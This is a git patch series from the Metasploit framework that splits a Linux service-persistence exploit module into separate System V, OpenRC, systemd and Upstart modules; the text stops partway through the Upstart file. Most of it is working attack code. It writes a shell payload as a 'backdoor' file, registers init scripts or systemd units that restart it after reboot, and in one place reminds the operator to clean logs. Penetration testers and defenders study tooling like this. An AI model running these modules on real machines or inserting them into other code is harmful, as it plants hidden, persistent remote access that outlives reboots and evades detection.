+ [ + # OptPath.new('BACKDOOR_PATH', [true, 'Writable path to put our shell', '/usr/local/bin']), -> WritableDir + OptString.new('SHELL_NAME', [false, 'Name of shell file to write']), + OptString.new('SERVICE', [false, 'Name of service to create']) + ] + ) + register_advanced_options( + [ + OptBool.new('EnableService', [true, 'Enable the service', true]) + ] + ) + end + + def check + return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir']) + + has_updatercd = service_system_exists?('update-rc.d') + if has_updatercd || service_system_exists?('chkconfig') # centos 5 + return CheckCode::Appears("#{datastore['WritableDir']} is writable and System V based") + end + + CheckCode::Safe('Likely not a System V based system') + end + + def exploit + backdoor = write_shell(datastore['WritableDir']) + if backdoor.nil? + print_error('Failed to write shell') + return + end + + path = backdoor.split('/')[0...-1].join('/') + file = backdoor.split('/')[-1] + + system_v(path, file, target.opts[:runlevel], service_system_exists?('update-rc.d')) + end + + def service_system_exists?(command) + service_cmd = cmd_exec("which #{command}") + !(service_cmd.empty? || service_cmd.include?('no')) + end + + def write_shell(path) + file_name = datastore['SHELL_NAME'] || Rex::Text.rand_text_alpha(5) + backdoor = "#{path}/#{file_name}" + vprint_status("Writing backdoor to #{backdoor}") + write_file(backdoor, payload.encoded) + if file_exist?(backdoor) + cmd_exec("chmod 711 #{backdoor}") + backdoor + else + print_error('File not written, check permissions.') + return + end + end + + def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd) + if has_updatercd + print_status('Utilizing update-rc.d') + else + print_status('Utilizing chkconfig') + end + script = %{#!/bin/sh +### BEGIN INIT INFO +# Provides: service +# Required-Start: $network +# Required-Stop: $network +# Default-Start: #{runlevel} +# Default-Stop: 0 1 6 +# Short-Description: Start daemon at boot time +# Description: Enable service provided by daemon. +### END INIT INFO +dir=\"#{backdoor_path}\" +cmd=\"#{backdoor_file}\" +name=`basename $0` +pid_file=\"/var/run/$name.pid\" +stdout_log=\"/var/log/$name.log\" +stderr_log=\"/var/log/$name.err\" +get_pid() { + cat \"$pid_file\" +} +is_running() { + [ -f \"$pid_file\" ] && ps `get_pid` > /dev/null 2>&1 +} +case \"$1\" in + start) + if is_running; then + echo \"Already started\" + else + echo \"Starting $name\" + cd \"$dir\" +} + + if has_updatercd + script << " sudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n" + else # CentOS didn't like sudo or su... + script << " $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n" + end + script << %{ echo $! > \"$pid_file\" + if ! is_running; then + echo \"Unable to start, see $stdout_log and $stderr_log\" + exit 1 + fi + fi + ;; + stop) + if is_running; then + echo -n \"Stopping $name..\" + kill `get_pid` + for i in {1..10} + do + if ! is_running; then + break + fi + echo -n \".\" + sleep 1 + done + echo + if is_running; then + echo \"Not stopped; may still be shutting down or shutdown may have failed\" + exit 1 + else + echo \"Stopped\" + if [ -f \"$pid_file\" ]; then + rm \"$pid_file\" + fi + fi + else + echo \"Not running\" + fi + ;; + restart) + $0 stop + if is_running; then + echo \"Unable to stop, will not attempt to start\" + exit 1 + fi + $0 start + ;; + status) + if is_running; then + echo \"Running\" + else + echo \"Stopped\" + exit 1 + fi + ;; + *) + echo \"Usage: $0 {start|stop|restart|status}\" + exit 1 + ;; +esac +exit 0} + + service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7) + service_name = "/etc/init.d/#{service_filename}" + vprint_status("Writing service: #{service_name}") + write_file(service_name, script) + if !file_exist?(service_name) + print_error('File not written, check permissions.') + return + end + cmd_exec("chmod 755 #{service_name}") + print_good('Enabling & starting our service') + if has_updatercd + cmd_exec("update-rc.d #{service_filename} defaults") + cmd_exec("update-rc.d #{service_filename} enable") + if file_exist?('/usr/sbin/service') # some systems have update-rc.d but not service binary, have a fallback just in case + cmd_exec("service #{service_filename} start") + else + cmd_exec("/etc/init.d/#{service_filename} start") + end + else # CentOS + cmd_exec("chkconfig --add #{service_filename}") + cmd_exec("chkconfig #{service_filename} on") + cmd_exec("/etc/init.d/#{service_filename} start") + end + end +end From 5a5e81327502570fbb5eba8a9fca4acc3745b06a Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 31 Jan 2025 05:30:04 -0500 Subject: [PATCH 32/94] linux service persistence module split apart --- modules/exploits/linux/persistence/service.rb | 458 ------------------ .../linux/persistence/service_openrc.rb | 170 +++++++ .../{system_v.rb => service_system_v.rb} | 4 +- .../linux/persistence/service_systemd.rb | 217 +++++++++ .../linux/persistence/service_upstart.rb | 147 ++++++ 5 files changed, 536 insertions(+), 460 deletions(-) delete mode 100644 modules/exploits/linux/persistence/service.rb create mode 100644 modules/exploits/linux/persistence/service_openrc.rb rename modules/exploits/linux/persistence/{system_v.rb => service_system_v.rb} (98%) create mode 100644 modules/exploits/linux/persistence/service_systemd.rb create mode 100644 modules/exploits/linux/persistence/service_upstart.rb diff --git a/modules/exploits/linux/persistence/service.rb b/modules/exploits/linux/persistence/service.rb deleted file mode 100644 index 23592457cd15..000000000000 --- a/modules/exploits/linux/persistence/service.rb +++ /dev/null @@ -1,458 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Exploit::Local - Rank = ExcellentRanking - - include Msf::Post::File - include Msf::Post::Unix - include Msf::Exploit::FileDropper - include Msf::Exploit::Local::Persistence - prepend Msf::Exploit::Remote::AutoCheck - include Msf::Exploit::Deprecated - moved_from 'exploits/linux/local/service_persistence' - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Service Persistence', - 'Description' => %q{ - This module will create a service on the box, and mark it for auto-restart. - We need enough access to write service files and potentially restart services - Targets: - System V: - CentOS <= 5 - Debian <= 6 - Kali 2.0 - Ubuntu <= 9.04 - Upstart: - CentOS 6 - Fedora >= 9, < 15 - Ubuntu >= 9.10, <= 14.10 - systemd: - CentOS 7 - Debian >= 7, <=8 - Fedora >= 15 - Ubuntu >= 15.04 - Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'h00die ', - 'Cale Black' # systemd user target - ], - 'Platform' => ['unix', 'linux'], - 'Targets' => [ - [ - 'Auto', { - 'DefaultOptions' => { 'BACKDOOR_PATH' => '/usr/local/bin' } - } - ], - [ - 'System V', { - :runlevel => '2 3 4 5', - 'DefaultOptions' => { 'BACKDOOR_PATH' => '/usr/local/bin' } - } - ], - [ - 'Upstart', { - :runlevel => '2345', - 'DefaultOptions' => { 'BACKDOOR_PATH' => '/usr/local/bin' } - } - ], - [ - 'openrc', { - 'DefaultOptions' => { 'BACKDOOR_PATH' => '/usr/local/bin' } - } - ], - [ - 'systemd', { - 'DefaultOptions' => { 'BACKDOOR_PATH' => '/usr/local/bin' } - } - ], - [ - 'systemd user', { - 'DefaultOptions' => { 'BACKDOOR_PATH' => '/tmp' } - } - ] - ], - 'DefaultTarget' => 0, - 'Arch' => ARCH_CMD, - 'References' => [ - ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'], - ['URL', 'https://attack.mitre.org/techniques/T1543/'] - ], - 'Payload' => { - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down - } - }, - 'SessionTypes' => ['shell', 'meterpreter'], - 'Notes' => { - 'Stability' => [CRASH_SAFE], - 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], - 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] - }, - 'DisclosureDate' => '1983-01-01' # system v release date - ) - ) - - register_options( - [ - # OptPath.new('BACKDOOR_PATH', [true, 'Writable path to put our shell', '/usr/local/bin']), -> WritableDir - OptString.new('SHELL_NAME', [false, 'Name of shell file to write']), - OptString.new('SERVICE', [false, 'Name of service to create']) - ] - ) - register_advanced_options( - [ - OptBool.new('EnableService', [true, 'Enable the service', true]) - ] - ) - end - - def check - return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir']) - - CheckCode::Appears("#{datastore['WritableDir']} is writable") - end - - def exploit - backdoor = write_shell(datastore['WritableDir']) - if backdoor.nil? - return - end - - path = backdoor.split('/')[0...-1].join('/') - file = backdoor.split('/')[-1] - case target.name - when 'System V' - system_v(path, file, target.opts[:runlevel], service_system_exists?('update-rc.d')) - when 'Upstart' - upstart(path, file, target.opts[:runlevel]) - when 'openrc' - openrc(path, file) - when 'systemd' - systemd(path, file) - when 'systemd user' - systemd_user(path, file) - else - if service_system_exists?('systemctl') - print_status('Utilizing systemd') - systemd(path, file) - end - if service_system_exists?('initctl') - print_status('Utilizing Upstart') - upstart(path, file, '2345') - end - if service_system_exists?('openrc') - print_status('Utilizing openrc') - openrc(path, file) - end - has_updatercd = service_system_exists?('update-rc.d') - if has_updatercd || service_system_exists?('chkconfig') # centos 5 - print_status('Utilizing System_V') - system_v(path, file, '2 3 4 5', has_updatercd) - else - print_error('Unable to detect service system') - register_file_for_cleanup(backdoor) - end - end - end - - def service_system_exists?(command) - service_cmd = cmd_exec("which #{command}") - !(service_cmd.empty? || service_cmd.include?('no')) - end - - def write_shell(path) - file_name = datastore['SHELL_NAME'] || Rex::Text.rand_text_alpha(5) - backdoor = "#{path}/#{file_name}" - vprint_status("Writing backdoor to #{backdoor}") - write_file(backdoor, payload.encoded) - if file_exist?(backdoor) - cmd_exec("chmod 711 #{backdoor}") - backdoor - else - print_error('File not written, check permissions.') - return - end - end - - def systemd(backdoor_path, backdoor_file) - # https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/ - script = %([Unit] -Description=Start daemon at boot time -After= -Requires= -[Service] -RestartSec=10s -Restart=always -TimeoutStartSec=5 -ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file} -[Install] -WantedBy=multi-user.target) - - service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7) - service_name = "/lib/systemd/system/#{service_filename}.service" - vprint_status("Writing service: #{service_name}") - write_file(service_name, script) - if !file_exist?(service_name) - print_error('File not written, check permissions.') - return - end - if datastore['EnableService'] - vprint_status('Enabling service') - cmd_exec("systemctl enable #{service_filename}.service") - end - vprint_status('Starting service') - cmd_exec("systemctl start #{service_filename}.service") - end - - def systemd_user(backdoor_path, backdoor_file) - script = <<~EOF - [Unit] - Description=Start daemon at boot time - After= - Requires= - [Service] - RemainAfterExit=yes - RestartSec=10s - Restart=always - TimeoutStartSec=5 - ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file} - [Install] - WantedBy=default.target - EOF - service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7) - - home = cmd_exec('echo ${HOME}') - vprint_status('Creating user service directory') - cmd_exec("mkdir -p #{home}/.config/systemd/user") - - service_name = "#{home}/.config/systemd/user/#{service_filename}.service" - vprint_status("Writing service: #{service_name}") - - write_file(service_name, script) - - if !file_exist?(service_name) - print_error('File not written, check permissions. Attempting secondary location') - vprint_status('Creating user secondary service directory') - cmd_exec("mkdir -p #{home}/.local/share/systemd/user") - - service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service" - vprint_status("Writing .local service: #{service_name}") - write_file(service_name, script) - - if !file_exist?(service_name) - print_error('File not written, check permissions.') - return - end - end - - # This was taken from pam_systemd(8) - systemd_socket_id = cmd_exec('id -u') - systemd_socket_dir = "/run/user/#{systemd_socket_id}" - vprint_status('Reloading manager configuration') - cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user daemon-reload") - - if datastore['EnableService'] - vprint_status('Enabling service') - cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user enable #{service_filename}.service") - end - - vprint_status("Starting service: #{service_filename}") - # Prefer restart over start, as it will execute already existing service files - cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user restart #{service_filename}") - end - - def upstart(backdoor_path, backdoor_file, runlevel) - # http://blog.terminal.com/getting-started-with-upstart/ - script = %(description \"Start daemon at boot time\" -start on filesystem or runlevel [#{runlevel}] -stop on shutdown -script - cd #{backdoor_path} - echo $$ > /var/run/#{backdoor_file}.pid - exec #{backdoor_file} -end script -post-stop exec sleep 10 -respawn -respawn limit unlimited) - - service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7) - service_name = "/etc/init/#{service_filename}.conf" - vprint_status("Writing service: #{service_name}") - write_file(service_name, script) - if !file_exist?(service_name) - print_error('File not written, check permissions.') - return - end - vprint_status('Starting service') - cmd_exec("initctl start #{service_filename}") - vprint_status("Dont forget to clean logs: /var/log/upstart/#{service_filename}.log") - end - - def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd) - if has_updatercd - print_status('Utilizing update-rc.d') - else - print_status('Utilizing chkconfig') - end - script = %{#!/bin/sh -### BEGIN INIT INFO -# Provides: service -# Required-Start: $network -# Required-Stop: $network -# Default-Start: #{runlevel} -# Default-Stop: 0 1 6 -# Short-Description: Start daemon at boot time -# Description: Enable service provided by daemon. -### END INIT INFO -dir=\"#{backdoor_path}\" -cmd=\"#{backdoor_file}\" -name=`basename $0` -pid_file=\"/var/run/$name.pid\" -stdout_log=\"/var/log/$name.log\" -stderr_log=\"/var/log/$name.err\" -get_pid() { - cat \"$pid_file\" -} -is_running() { - [ -f \"$pid_file\" ] && ps `get_pid` > /dev/null 2>&1 -} -case \"$1\" in - start) - if is_running; then - echo \"Already started\" - else - echo \"Starting $name\" - cd \"$dir\" -} - - if has_updatercd - script << " sudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n" - else # CentOS didn't like sudo or su... - script << " $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n" - end - script << %{ echo $! > \"$pid_file\" - if ! is_running; then - echo \"Unable to start, see $stdout_log and $stderr_log\" - exit 1 - fi - fi - ;; - stop) - if is_running; then - echo -n \"Stopping $name..\" - kill `get_pid` - for i in {1..10} - do - if ! is_running; then - break - fi - echo -n \".\" - sleep 1 - done - echo - if is_running; then - echo \"Not stopped; may still be shutting down or shutdown may have failed\" - exit 1 - else - echo \"Stopped\" - if [ -f \"$pid_file\" ]; then - rm \"$pid_file\" - fi - fi - else - echo \"Not running\" - fi - ;; - restart) - $0 stop - if is_running; then - echo \"Unable to stop, will not attempt to start\" - exit 1 - fi - $0 start - ;; - status) - if is_running; then - echo \"Running\" - else - echo \"Stopped\" - exit 1 - fi - ;; - *) - echo \"Usage: $0 {start|stop|restart|status}\" - exit 1 - ;; -esac -exit 0} - - service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7) - service_name = "/etc/init.d/#{service_filename}" - vprint_status("Writing service: #{service_name}") - write_file(service_name, script) - if !file_exist?(service_name) - print_error('File not written, check permissions.') - return - end - cmd_exec("chmod 755 #{service_name}") - print_good('Enabling & starting our service') - if has_updatercd - cmd_exec("update-rc.d #{service_filename} defaults") - cmd_exec("update-rc.d #{service_filename} enable") - if file_exist?('/usr/sbin/service') # some systems have update-rc.d but not service binary, have a fallback just in case - cmd_exec("service #{service_filename} start") - else - cmd_exec("/etc/init.d/#{service_filename} start") - end - else # CentOS - cmd_exec("chkconfig --add #{service_filename}") - cmd_exec("chkconfig #{service_filename} on") - cmd_exec("/etc/init.d/#{service_filename} start") - end - end - - def openrc(backdoor_path, backdoor_file) - # https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts - # https://wiki.alpinelinux.org/wiki/OpenRC - # https://github.com/OpenRC/openrc/blob/master/service-script-guide.md - script = %(#!/sbin/openrc-run -name=#{backdoor_file} -command=/bin/sh -command_args="#{backdoor_path}/#{backdoor_file}" -pidfile="/run/${RC_SVCNAME}.pid" -command_background="yes" -) - - service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7) - service_name = "/etc/init.d/#{service_filename}" - vprint_status("Writing service: #{service_name}") - begin - upload_and_chmodx(service_name, script) - rescue Rex::Post::Meterpreter::RequestError - print_error("Writing '#{service_name}' to the target and or changing the file permissions failed, ensure that directory exists?") - end - - if !file_exist?(service_name) - print_error('File not written, check permissions.') - return - end - - if datastore['EnableService'] - vprint_status('Enabling service') - cmd_exec("rc-update add '#{service_filename}'") - end - - print_good('Starting service') - cmd_exec("'/etc/init.d/#{service_filename}' start") - end -end diff --git a/modules/exploits/linux/persistence/service_openrc.rb b/modules/exploits/linux/persistence/service_openrc.rb new file mode 100644 index 000000000000..bd1fd3c78e86 --- /dev/null +++ b/modules/exploits/linux/persistence/service_openrc.rb @@ -0,0 +1,170 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Exploit::FileDropper + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/service_persistence' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Service OpenRC Persistence', + 'Description' => %q{ + This module will create a service on the box, and mark it for auto-restart. + We need enough access to write service files and potentially restart services + Targets: + System V: + CentOS <= 5 + Debian <= 6 + Kali 2.0 + Ubuntu <= 9.04 + Upstart: + CentOS 6 + Fedora >= 9, < 15 + Ubuntu >= 9.10, <= 14.10 + systemd: + CentOS 7 + Debian >= 7, <=8 + Fedora >= 15 + Ubuntu >= 15.04 + Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', + 'Cale Black' # systemd user target + ], + 'Platform' => ['unix', 'linux'], + 'Targets' => [ + [ + 'openrc', { + 'DefaultOptions' => { 'BACKDOOR_PATH' => '/usr/local/bin' } + } + ], + ], + 'DefaultTarget' => 0, + 'Arch' => ARCH_CMD, + 'References' => [ + ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'], + ['URL', 'https://attack.mitre.org/techniques/T1543/'], + ['URL', 'https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts'], + ['URL', 'https://wiki.alpinelinux.org/wiki/OpenRC'], + ['URL', 'https://github.com/OpenRC/openrc/blob/master/service-script-guide.md'], + ], + 'Payload' => { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down + } + }, + 'SessionTypes' => ['shell', 'meterpreter'], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + }, + 'DisclosureDate' => '1983-01-01' # system v release date + ) + ) + + register_options( + [ + # OptPath.new('BACKDOOR_PATH', [true, 'Writable path to put our shell', '/usr/local/bin']), -> WritableDir + OptString.new('SHELL_NAME', [false, 'Name of shell file to write']), + OptString.new('SERVICE', [false, 'Name of service to create']) + ] + ) + register_advanced_options( + [ + OptBool.new('EnableService', [true, 'Enable the service', true]) + ] + ) + end + + def check + return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir']) + + if service_system_exists?('openrc') + return CheckCode::Appears("#{datastore['WritableDir']} is writable and openrc based") + end + + CheckCode::Safe('Likely not an openrc based system') + end + + def exploit + backdoor = write_shell(datastore['WritableDir']) + if backdoor.nil? + return + end + + path = backdoor.split('/')[0...-1].join('/') + file = backdoor.split('/')[-1] + + openrc(path, file) + end + + def service_system_exists?(command) + service_cmd = cmd_exec("which #{command}") + !(service_cmd.empty? || service_cmd.include?('no')) + end + + def write_shell(path) + file_name = datastore['SHELL_NAME'] || Rex::Text.rand_text_alpha(5) + backdoor = "#{path}/#{file_name}" + vprint_status("Writing backdoor to #{backdoor}") + write_file(backdoor, payload.encoded) + if file_exist?(backdoor) + cmd_exec("chmod 711 #{backdoor}") + backdoor + else + print_error('File not written, check permissions.') + return + end + end + + def openrc(backdoor_path, backdoor_file) + # https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts + # https://wiki.alpinelinux.org/wiki/OpenRC + # https://github.com/OpenRC/openrc/blob/master/service-script-guide.md + script = %(#!/sbin/openrc-run +name=#{backdoor_file} +command=/bin/sh +command_args="#{backdoor_path}/#{backdoor_file}" +pidfile="/run/${RC_SVCNAME}.pid" +command_background="yes" +) + + service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7) + service_name = "/etc/init.d/#{service_filename}" + vprint_status("Writing service: #{service_name}") + begin + upload_and_chmodx(service_name, script) + rescue Rex::Post::Meterpreter::RequestError + print_error("Writing '#{service_name}' to the target and or changing the file permissions failed, ensure that directory exists?") + end + + if !file_exist?(service_name) + print_error('File not written, check permissions.') + return + end + + if datastore['EnableService'] + vprint_status('Enabling service') + cmd_exec("rc-update add '#{service_filename}'") + end + + print_good('Starting service') + cmd_exec("'/etc/init.d/#{service_filename}' start") + end +end diff --git a/modules/exploits/linux/persistence/system_v.rb b/modules/exploits/linux/persistence/service_system_v.rb similarity index 98% rename from modules/exploits/linux/persistence/system_v.rb rename to modules/exploits/linux/persistence/service_system_v.rb index 08dfb59ca0fb..de9c1ac0a678 100644 --- a/modules/exploits/linux/persistence/system_v.rb +++ b/modules/exploits/linux/persistence/service_system_v.rb @@ -18,7 +18,7 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'System V Persistence', + 'Name' => 'Service System V Persistence', 'Description' => %q{ This module will create a service via System V on the box, and mark it for auto-restart. We need enough access to write service files and potentially restart services @@ -32,7 +32,7 @@ def initialize(info = {}) }, 'License' => MSF_LICENSE, 'Author' => [ - 'h00die ', + 'h00die', 'Cale Black' # systemd user target ], 'Platform' => ['unix', 'linux'], diff --git a/modules/exploits/linux/persistence/service_systemd.rb b/modules/exploits/linux/persistence/service_systemd.rb new file mode 100644 index 000000000000..4fffc2513bbd --- /dev/null +++ b/modules/exploits/linux/persistence/service_systemd.rb @@ -0,0 +1,217 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Exploit::FileDropper + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/service_persistence' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Service SystemD Persistence', + 'Description' => %q{ + This module will create a service on the box, and mark it for auto-restart. + We need enough access to write service files and potentially restart services + systemd: + CentOS 7 + Debian >= 7, <=8 + Fedora >= 15 + Ubuntu >= 15.04 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die ', + 'Cale Black' # systemd user target + ], + 'Platform' => ['unix', 'linux'], + 'Targets' => [ + [ + 'systemd', { + 'DefaultOptions' => { 'BACKDOOR_PATH' => '/usr/local/bin' } + } + ], + [ + 'systemd user', { + 'DefaultOptions' => { 'BACKDOOR_PATH' => '/tmp' } + } + ] + ], + 'DefaultTarget' => 0, + 'Arch' => ARCH_CMD, + 'References' => [ + ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'], + ['URL', 'https://attack.mitre.org/techniques/T1543/'] + ], + 'Payload' => { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down + } + }, + 'SessionTypes' => ['shell', 'meterpreter'], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + }, + 'DisclosureDate' => '1983-01-01' # system v release date + ) + ) + + register_options( + [ + # OptPath.new('BACKDOOR_PATH', [true, 'Writable path to put our shell', '/usr/local/bin']), -> WritableDir + OptString.new('SHELL_NAME', [false, 'Name of shell file to write']), + OptString.new('SERVICE', [false, 'Name of service to create']) + ] + ) + register_advanced_options( + [ + OptBool.new('EnableService', [true, 'Enable the service', true]) + ] + ) + end + + def check + return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir']) + + if service_system_exists?('systemctl') + return CheckCode::Appears("#{datastore['WritableDir']} is writable and systemd based") + end + + CheckCode::Safe('Likely not a systemd based system') + end + + def exploit + backdoor = write_shell(datastore['WritableDir']) + if backdoor.nil? + return + end + + path = backdoor.split('/')[0...-1].join('/') + file = backdoor.split('/')[-1] + case target.name + when 'systemd' + systemd(path, file) + when 'systemd user' + systemd_user(path, file) + end + end + + def service_system_exists?(command) + service_cmd = cmd_exec("which #{command}") + !(service_cmd.empty? || service_cmd.include?('no')) + end + + def write_shell(path) + file_name = datastore['SHELL_NAME'] || Rex::Text.rand_text_alpha(5) + backdoor = "#{path}/#{file_name}" + vprint_status("Writing backdoor to #{backdoor}") + write_file(backdoor, payload.encoded) + if file_exist?(backdoor) + cmd_exec("chmod 711 #{backdoor}") + backdoor + else + print_error('File not written, check permissions.') + return + end + end + + def systemd(backdoor_path, backdoor_file) + # https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/ + script = %([Unit] +Description=Start daemon at boot time +After= +Requires= +[Service] +RestartSec=10s +Restart=always +TimeoutStartSec=5 +ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file} +[Install] +WantedBy=multi-user.target) + + service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7) + service_name = "/lib/systemd/system/#{service_filename}.service" + vprint_status("Writing service: #{service_name}") + write_file(service_name, script) + if !file_exist?(service_name) + print_error('File not written, check permissions.') + return + end + if datastore['EnableService'] + vprint_status('Enabling service') + cmd_exec("systemctl enable #{service_filename}.service") + end + vprint_status('Starting service') + cmd_exec("systemctl start #{service_filename}.service") + end + + def systemd_user(backdoor_path, backdoor_file) + script = <<~EOF + [Unit] + Description=Start daemon at boot time + After= + Requires= + [Service] + RemainAfterExit=yes + RestartSec=10s + Restart=always + TimeoutStartSec=5 + ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file} + [Install] + WantedBy=default.target + EOF + service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7) + + home = cmd_exec('echo ${HOME}') + vprint_status('Creating user service directory') + cmd_exec("mkdir -p #{home}/.config/systemd/user") + + service_name = "#{home}/.config/systemd/user/#{service_filename}.service" + vprint_status("Writing service: #{service_name}") + + write_file(service_name, script) + + if !file_exist?(service_name) + print_error('File not written, check permissions. Attempting secondary location') + vprint_status('Creating user secondary service directory') + cmd_exec("mkdir -p #{home}/.local/share/systemd/user") + + service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service" + vprint_status("Writing .local service: #{service_name}") + write_file(service_name, script) + + if !file_exist?(service_name) + print_error('File not written, check permissions.') + return + end + end + + # This was taken from pam_systemd(8) + systemd_socket_id = cmd_exec('id -u') + systemd_socket_dir = "/run/user/#{systemd_socket_id}" + vprint_status('Reloading manager configuration') + cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user daemon-reload") + + if datastore['EnableService'] + vprint_status('Enabling service') + cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user enable #{service_filename}.service") + end + + vprint_status("Starting service: #{service_filename}") + # Prefer restart over start, as it will execute already existing service files + cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user restart #{service_filename}") + end +end diff --git a/modules/exploits/linux/persistence/service_upstart.rb b/modules/exploits/linux/persistence/service_upstart.rb new file mode 100644 index 000000000000..88088ab52ff1 --- /dev/null +++ b/modules/exploits/linux/persistence/service_upstart.rb @@ -0,0 +1,147 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Exploit::FileDropper + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/service_persistence' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Service Upstart Persistence', + 'Description' => %q{ + This module will create a service on the box, and mark it for auto-restart. + We need enough access to write service files and potentially restart services + Upstart: + CentOS 6 + Fedora >= 9, < 15 + Ubuntu >= 9.10, <= 14.10 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', + ], + 'Platform' => ['unix', 'linux'], + 'Targets' => [ + [ + 'Upstart', { + :runlevel => '2345', + 'DefaultOptions' => { 'BACKDOOR_PATH' => '/usr/local/bin' } + } + ], + ], + 'DefaultTarget' => 0, + 'Arch' => ARCH_CMD, + 'References' => [ + ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'], + ['URL', 'https://attack.mitre.org/techniques/T1543/'], + ['URL', 'http://blog.terminal.com/getting-started-with-upstart/'] + ], + 'Payload' => { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down + } + }, + 'SessionTypes' => ['shell', 'meterpreter'], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + }, + 'DisclosureDate' => '1983-01-01' # system v release date + ) + ) + + register_options( + [ + # OptPath.new('BACKDOOR_PATH', [true, 'Writable path to put our shell', '/usr/local/bin']), -> WritableDir + OptString.new('SHELL_NAME', [false, 